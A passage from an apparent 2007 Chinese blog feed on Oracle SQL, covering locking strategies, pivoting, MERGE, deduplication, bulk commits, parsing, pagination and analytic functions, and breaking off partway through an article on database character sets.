<br></font><font color=#007700>and </font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>id</font><font color=#007700>=</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>id
<br></font><font color=#007700>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>owner</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>owner</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>object_name</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_name</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>object_id</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_id</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>data_object_id</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>data_object_id</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>object_type</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>object_type</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>created</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>created</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>last_ddl_time</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>last_ddl_time</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>timestamp</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>timestamp</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>status</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>status</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>temporary</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>temporary</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>generated</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>generated</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)
<br>and </font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>t</font><font color=#007700>.</font><font color=#0000bb>secondary</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>)=</font><font color=#0000bb>nvl</font><font color=#007700>(</font><font color=#0000bb>old</font><font color=#007700>.</font><font color=#0000bb>secondary</font><font color=#007700>,</font><font color=#dd0000>'"$!'</font><font color=#007700>);<br></font></font></code><hr></pre>
</blockquote><font face="verdana, arial, helvetica"><br><br><font size=2>--乐观封锁的代码量相对来说少很多，但增大了丢失更新的风险。在实际应用中<br>--到底是使用悲观封锁还是乐观封锁，由开发人员来定。不过Oracle 11i版的ERP<br>--如此庞大复杂的系统都使用悲观封锁，没有理由说明乐观封锁优于悲观封锁。</font></span></font>
<img src ="http://www.blogjava.net/19851985lili/aggbug/113615.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-25 20:42 <a href="http://www.blogjava.net/19851985lili/articles/113615.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle SQL精妙SQL语句讲解 </title><link>http://www.blogjava.net/19851985lili/articles/113612.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Wed, 25 Apr 2007 12:36:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/113612.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/113612.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/113612.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/113612.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/113612.html</trackback:ping><description><![CDATA[<font face=Verdana>--行列转换 行转列<br>DROP TABLE t_change_lc;<br>CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER);<br><br>INSERT INTO t_change_lc <br>SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM &lt;= 4<br>UNION <br>SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM &lt;= 4;<br><br>SELECT * FROM t_change_lc;<br><br>SELECT a.card_code,<br>SUM(decode(a.q, 1, a.bal, 0)) q1,<br>SUM(decode(a.q, 2, a.bal, 0)) q2,<br>SUM(decode(a.q, 3, a.bal, 0)) q3,<br>SUM(decode(a.q, 4, a.bal, 0)) q4<br>FROM t_change_lc a<br>GROUP BY a.card_code<br>ORDER BY 1;<br><br>--行列转换 列转行<br>DROP TABLE t_change_cl;<br>CREATE TABLE t_change_cl AS <br>SELECT a.card_code,<br>SUM(decode(a.q, 1, a.bal, 0)) q1,<br>SUM(decode(a.q, 2, a.bal, 0)) q2,<br>SUM(decode(a.q, 3, a.bal, 0)) q3,<br>SUM(decode(a.q, 4, a.bal, 0)) q4<br>FROM t_change_lc a<br>GROUP BY a.card_code<br>ORDER BY 1;<br><br>SELECT * FROM t_change_cl;<br><br>SELECT t.card_code,<br>t.rn q,<br>decode(t.rn, 1, t.q1, 2, t.q2, 3, t.q3, 4, t.q4) bal<br>FROM (SELECT a.*, b.rn<br>FROM t_change_cl a,<br>(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM &lt;= 4) b) t<br>ORDER BY 1, 2;<br><br>--行列转换 行转列 合并<br>DROP TABLE t_change_lc_comma;<br>CREATE TABLE t_change_lc_comma AS SELECT card_code,'quarter_'||q AS q FROM t_change_lc; <br><br>SELECT * FROM t_change_lc_comma;<br><br>SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q<br>FROM (SELECT a.card_code,<br>a.q,<br>row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn<br>FROM t_change_lc_comma a) t1<br>START WITH t1.rn = 1<br>CONNECT BY t1.card_code = PRIOR t1.card_code<br>AND t1.rn - 1 = PRIOR t1.rn<br>GROUP BY t1.card_code;<br><br>--行列转换 列转行 分割<br>DROP TABLE t_change_cl_comma;<br>CREATE TABLE t_change_cl_comma AS<br>SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q<br>FROM (SELECT a.card_code,<br>a.q,<br>row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn<br>FROM t_change_lc_comma a) t1<br>START WITH t1.rn = 1<br>CONNECT BY t1.card_code = PRIOR t1.card_code<br>AND t1.rn - 1 = PRIOR t1.rn<br>GROUP BY t1.card_code;<br><br>SELECT * FROM t_change_cl_comma;<br><br>SELECT t.card_code,<br>substr(t.q,<br>instr(';' || t.q, ';', 1, rn),<br>instr(t.q || ';', ';', 1, rn) - instr(';' || t.q, ';', 1, rn)) q<br>FROM (SELECT a.card_code, a.q, b.rn<br>FROM t_change_cl_comma a,<br>(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM &lt;= 100) b<br>WHERE instr(';' || a.q, ';', 1, rn) &gt; 0) t<br>ORDER BY 1, 2;<br><br><br>-- 实现一条记录根据条件多表插入<br>DROP TABLE t_ia_src;<br>CREATE TABLE t_ia_src AS SELECT 'a'||ROWNUM c1, 'b'||ROWNUM c2 FROM dual CONNECT BY ROWNUM&lt;=5;<br>DROP TABLE t_ia_dest_1;<br>CREATE TABLE t_ia_dest_1(flag VARCHAR2(10) , c VARCHAR2(10));<br>DROP TABLE t_ia_dest_2;<br>CREATE TABLE t_ia_dest_2(flag VARCHAR2(10) , c VARCHAR2(10));<br>DROP TABLE t_ia_dest_3;<br>CREATE TABLE t_ia_dest_3(flag VARCHAR2(10) , c VARCHAR2(10));<br><br>SELECT * FROM t_ia_src; <br>SELECT * FROM t_ia_dest_1;<br>SELECT * FROM t_ia_dest_2;<br>SELECT * FROM t_ia_dest_3;<br><br>INSERT ALL<br>WHEN (c1 IN ('a1','a3')) THEN <br>INTO t_ia_dest_1(flag,c) VALUES(flag1,c2)<br>WHEN (c1 IN ('a2','a4')) THEN <br>INTO t_ia_dest_2(flag,c) VALUES(flag2,c2)<br>ELSE<br>INTO t_ia_dest_3(flag,c) VALUES(flag1||flag2,c1||c2)<br>SELECT c1,c2, 'f1' flag1, 'f2' flag2 FROM t_ia_src;<br><br>-- 如果存在就更新，不存在就插入用一个语句实现<br>DROP TABLE t_mg;<br>CREATE TABLE t_mg(code VARCHAR2(10), NAME VARCHAR2(10));<br><br>SELECT * FROM t_mg;<br><br>MERGE INTO t_mg a<br>USING (SELECT 'the code' code, 'the name' NAME FROM dual) b<br>ON (a.code = b.code)<br>WHEN MATCHED THEN<br>UPDATE SET a.NAME = b.NAME<br>WHEN NOT MATCHED THEN<br>INSERT (code, NAME) VALUES (b.code, b.NAME);<br><br>-- 抽取/删除重复记录 <br>DROP TABLE t_dup;<br>CREATE TABLE t_dup AS SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM&lt;=10; <br>INSERT INTO t_dup SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM&lt;=2; <br><br>SELECT * FROM t_dup;<br><br>SELECT * FROM t_dup a WHERE a.ROWID &lt;&gt; (SELECT MIN(b.ROWID) FROM t_dup b WHERE a.code=b.code);<br><br>SELECT b.code, b.NAME<br>FROM (SELECT a.code,<br>a.NAME,<br>row_number() over(PARTITION BY a.code ORDER BY a.ROWID) rn<br>FROM t_dup a) b<br>WHERE b.rn &gt; 1;<br><br>-- IN/EXISTS的不同适用环境<br>-- t_orders.customer_id有索引<br>SELECT a.*<br>FROM t_employees a<br>WHERE a.employee_id IN<br>(SELECT b.sales_rep_id FROM t_orders b WHERE b.customer_id = 12);<br><br>SELECT a.*<br>FROM t_employees a<br>WHERE EXISTS (SELECT 1<br>FROM t_orders b<br>WHERE b.customer_id = 12<br>AND a.employee_id = b.sales_rep_id);<br><br>-- t_employees.department_id有索引<br>SELECT a.*<br>FROM t_employees a<br>WHERE a.department_id = 10<br>AND EXISTS<br>(SELECT 1 FROM t_orders b WHERE a.employee_id = b.sales_rep_id);<br><br>SELECT a.*<br>FROM t_employees a<br>WHERE a.department_id = 10<br>AND a.employee_id IN (SELECT b.sales_rep_id FROM t_orders b);<br><br>-- FBI<br>DROP TABLE t_fbi;<br>CREATE TABLE t_fbi AS<br>SELECT ROWNUM rn, dbms_random.STRING('z',10) NAME , SYSDATE + dbms_random.VALUE * 10 dt FROM dual <br>CONNECT BY ROWNUM &lt;=10; <br><br>CREATE INDEX idx_nonfbi ON t_fbi(dt);<br><br>DROP INDEX idx_fbi_1;<br>CREATE INDEX idx_fbi_1 ON t_fbi(trunc(dt));<br><br>SELECT * FROM t_fbi WHERE trunc(dt) = to_date('2006-09-21','yyyy-mm-dd') ;<br><br>-- 不建议使用<br>SELECT * FROM t_fbi WHERE to_char(dt, 'yyyy-mm-dd') = '2006-09-21';<br><br>-- LOOP中的COMMIT/ROLLBACK<br>DROP TABLE t_loop PURGE;<br>create TABLE t_loop AS SELECT * FROM user_objects WHERE 1=2;<br><br>SELECT * FROM t_loop;<br><br>-- 逐行提交<br>DECLARE<br>BEGIN<br>FOR cur IN (SELECT * FROM user_objects) LOOP<br>INSERT INTO t_loop VALUES cur;<br>COMMIT;<br>END LOOP;<br>END;<br><br>-- 模拟批量提交<br>DECLARE<br>v_count NUMBER;<br>BEGIN<br>FOR cur IN (SELECT * FROM user_objects) LOOP<br>INSERT INTO t_loop VALUES cur;<br>v_count := v_count + 1;<br>IF v_count &gt;= 100 THEN<br>COMMIT;<br>END IF;<br>END LOOP;<br>COMMIT;<br>END;<br><br>-- 真正的批量提交<br>DECLARE<br>CURSOR cur IS<br>SELECT * FROM user_objects;<br>TYPE rec IS TABLE OF user_objects%ROWTYPE;<br>recs rec;<br>BEGIN<br>OPEN cur;<br>WHILE (TRUE) LOOP<br>FETCH cur BULK COLLECT<br>INTO recs LIMIT 100;<br>-- forall 实现批量<br>FORALL i IN 1 .. recs.COUNT<br>INSERT INTO t_loop VALUES recs (i);<br>COMMIT;<br>EXIT WHEN cur%NOTFOUND;<br>END LOOP;<br>CLOSE cur;<br>END;<br><br>-- 悲观锁定/乐观锁定 <br>DROP TABLE t_lock PURGE;<br>CREATE TABLE t_lock AS SELECT 1 ID FROM dual;<br><br>SELECT * FROM t_lock;<br><br>-- 常见的实现逻辑，隐含bug<br>DECLARE<br>v_cnt NUMBER;<br>BEGIN<br>-- 这里有并发性的bug<br>SELECT MAX(ID) INTO v_cnt FROM t_lock;<br><br>-- here for other operation<br>v_cnt := v_cnt + 1;<br>INSERT INTO t_lock (ID) VALUES (v_cnt);<br>COMMIT;<br>END;<br><br>-- 高并发环境下，安全的实现逻辑<br>DECLARE<br>v_cnt NUMBER;<br>BEGIN<br>-- 对指定的行取得lock<br>SELECT ID INTO v_cnt FROM t_lock WHERE ID=1 FOR UPDATE;<br>-- 在有lock的情况下继续下面的操作<br>SELECT MAX(ID) INTO v_cnt FROM t_lock;<br><br>-- here for other operation<br>v_cnt := v_cnt + 1;<br>INSERT INTO t_lock (ID) VALUES (v_cnt);<br>COMMIT; --提交并且释放lock<br>END;<br><br>-- 硬解析/软解析<br>DROP TABLE t_hard PURGE;<br>CREATE TABLE t_hard (ID INT);<br><br>SELECT * FROM t_hard;<br><br>DECLARE<br>sql_1 VARCHAR2(200);<br>BEGIN<br>-- hard parse<br>-- java中的同等语句是 Statement.execute()<br>FOR i IN 1 .. 1000 LOOP<br>sql_1 := 'insert into t_hard(id) values(' || i || ')';<br>EXECUTE IMMEDIATE sql_1;<br>END LOOP;<br>COMMIT;<br><br>-- soft parse<br>--java中的同等语句是 PreparedStatement.execute()<br>sql_1 := 'insert into t_hard(id) values(:id)';<br>FOR i IN 1 .. 1000 LOOP<br>EXECUTE IMMEDIATE sql_1<br>USING i;<br>END LOOP;<br>COMMIT;<br>END;<br><br><br><br>-- 正确的分页算法 <br>SELECT *<br>FROM (SELECT a.*, ROWNUM rn<br>FROM (SELECT * FROM t_employees ORDER BY first_name) a<br>WHERE ROWNUM &lt;= 500)<br>WHERE rn &gt; 480 ;<br><br>-- 分页算法(why not this one)<br>SELECT a.*, ROWNUM rn<br>FROM (SELECT * FROM t_employees ORDER BY first_name) a<br>WHERE ROWNUM &lt;= 500 AND ROWNUM &gt; 480;<br><br>-- 分页算法(why not this one)<br>SELECT b.*<br>FROM (SELECT a.*, ROWNUM rn<br>FROM t_employees a<br>WHERE ROWNUM &lt; = 500<br>ORDER BY first_name) b<br>WHERE b.rn &gt; 480;<br><br>-- OLAP<br>-- 小计合计<br>SELECT CASE<br>WHEN a.deptno IS NULL THEN<br>'合计'<br>WHEN a.deptno IS NOT NULL AND a.empno IS NULL THEN<br>'小计'<br>ELSE<br>'' || a.deptno<br>END deptno,<br>a.empno,<br>a.ename,<br>SUM(a.sal) total_sal<br>FROM scott.emp a<br>GROUP BY GROUPING SETS((a.deptno),(a.deptno, a.empno, a.ename),());<br><br>-- 分组排序<br>SELECT a.deptno,<br>a.empno,<br>a.ename,<br>a.sal,<br>-- 可跳跃的rank<br>rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r1,<br>-- 密集型rank<br>dense_rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r2,<br>-- 不分组排序<br>rank() over(ORDER BY sal DESC) r3<br>FROM scott.emp a<br>ORDER BY a.deptno,a.sal DESC;<br><br>-- 当前行数据和前/后n行的数据比较<br>SELECT a.empno,<br>a.ename,<br>a.sal,<br>-- 上面一行<br>lag(a.sal) over(ORDER BY a.sal DESC) lag_1,<br>-- 下面三行<br>lead(a.sal, 3) over(ORDER BY a.sal DESC) lead_3<br>FROM scott.emp a<br>ORDER BY a.sal DESC;</font>
<img src ="http://www.blogjava.net/19851985lili/aggbug/113612.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-25 20:36 <a href="http://www.blogjava.net/19851985lili/articles/113612.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ORACLE 字符集问题 </title><link>http://www.blogjava.net/19851985lili/articles/110344.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Fri, 13 Apr 2007 01:06:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/110344.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/110344.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/110344.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/110344.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/110344.html</trackback:ping><description><![CDATA[<div class=cnt>
<div class=postTitle><font color=#800080>ORACLE 字符集问题</font> </div>
<div class=postText>&nbsp;&nbsp;
<div style="BACKGROUND: white; LINE-HEIGHT: 12pt"><strong><span style="FONT-SIZE: 8pt; COLOR: black">一、什么是</span></strong><strong><span style="FONT-SIZE: 8pt; COLOR: black">oracle</span></strong><strong><span style="FONT-SIZE: 8pt; COLOR: black">字符集</span></strong></div>
<div style="BACKGROUND: white; LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: #666699">　　</span><span style="FONT-SIZE: 8pt; COLOR: #666699">Oracle</span><span style="FONT-SIZE: 8pt; COLOR: #666699">字符集是一个字节数据的解释的符号集合</span><span style="FONT-SIZE: 8pt; COLOR: #666699">,</span><span style="FONT-SIZE: 8pt; COLOR: #666699">有大小之分</span><span style="FONT-SIZE: 8pt; COLOR: #666699">,</span><span style="FONT-SIZE: 8pt; COLOR: #666699">有相互的包容关系。</span><span style="FONT-SIZE: 8pt; COLOR: #666699">ORACLE </span><span style="FONT-SIZE: 8pt; COLOR: #666699">支持国家语言的体系结构允许你使用本地化语言来存储，处理，检索数据。它使数据库工具，错误消息，排序次序，日期，时间，货币，数字，和日历自动适应本地化语言和平台。</span></div>
<div style="LINE-HEIGHT: 12pt"><strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">SELECT</span></strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue"> * <strong>FROM</strong> V$NLS_PARAMETERS;</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_LANGUAGE SIMPLIFIED CHINESE</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_TERRITORY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CHINA</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_CURRENCY RMB</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_ISO_CURRENCY CHINA</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_NUMERIC_CHARACTERS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .,</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_CALENDAR GREGORIAN</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_DATE_FORMAT&nbsp;&nbsp;&nbsp;&nbsp; DD-MON-RR</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_DATE_LANGUAGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SIMPLIFIED CHINESE</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_CHARACTERSET AL32UTF8</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_SORT BINARY</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_TIME_FORMAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HH.MI.SSXFF AM</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_TIMESTAMP_FORMAT&nbsp;&nbsp;&nbsp; DD-MON-RR HH.MI.SSXFF AM</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_TIME_TZ_FORMAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HH.MI.SSXFF AM TZR</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_TIMESTAMP_TZ_FORMAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DD-MON-RR HH.MI.SSXFF AM TZR</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_DUAL_CURRENCY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RMB</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_NCHAR_CHARACTERSET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UTF8</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_COMP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BINARY</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_LENGTH_SEMANTICS&nbsp;&nbsp;&nbsp; BYTE</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NLS_NCHAR_CONV_EXCP&nbsp;&nbsp;&nbsp; FALSE</span></div>
<div style="LINE-HEIGHT: 12pt"></div>
<div style="LINE-HEIGHT: 12pt"><strong><span style="FONT-SIZE: 8pt; COLOR: black">二、如何查询</span></strong><strong><span style="FONT-SIZE: 8pt; COLOR: black">Oracle</span></strong><strong><span style="FONT-SIZE: 8pt; COLOR: black">的字符集</span></strong></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: #666699">ORACLE</span><span style="FONT-SIZE: 8pt; COLOR: #666699">有</span><span style="FONT-SIZE: 8pt; COLOR: #666699">三方面的字符集，一是</span><span style="FONT-SIZE: 8pt; COLOR: #666699">oracel server</span><span style="FONT-SIZE: 8pt; COLOR: #666699">端的字符集，二是</span><span style="FONT-SIZE: 8pt; COLOR: #666699">oracle <span style="COLOR: #666699">client</span></span><span style="FONT-SIZE: 8pt; COLOR: #666699">端的字符集</span><span style="FONT-SIZE: 8pt; COLOR: #666699">;</span><span style="FONT-SIZE: 8pt; COLOR: #666699">三是</span><span style="FONT-SIZE: 8pt; COLOR: #666699">dmp</span><span style="FONT-SIZE: 8pt; COLOR: #666699">文件的字符集。在做数据导入的时候，需要这三个字符集都一致才能正确导入。</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: red">--</span><span style="FONT-SIZE: 8pt; COLOR: red">查看</span><span style="FONT-SIZE: 8pt; COLOR: red">oracel server</span><span style="FONT-SIZE: 8pt; COLOR: red">端的字符集</span></div>
<div style="LINE-HEIGHT: 12pt"><strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">select</span></strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue"> userenv('language') <strong>from</strong> dual;</span></div>
<div style="MARGIN-LEFT: 24pt; TEXT-INDENT: -24pt; LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: blue">1<span style="FONT: 7pt Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">SIMPLIFIED CHINESE_CHINA.AL32UTF8</span></div>
<div style="LINE-HEIGHT: 12pt"></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: red">--</span><span style="FONT-SIZE: 8pt; COLOR: red">查看</span><span style="FONT-SIZE: 8pt; COLOR: red">dmp</span><span style="FONT-SIZE: 8pt; COLOR: red">文件</span><span style="FONT-SIZE: 8pt; COLOR: red">的字符集</span></div>
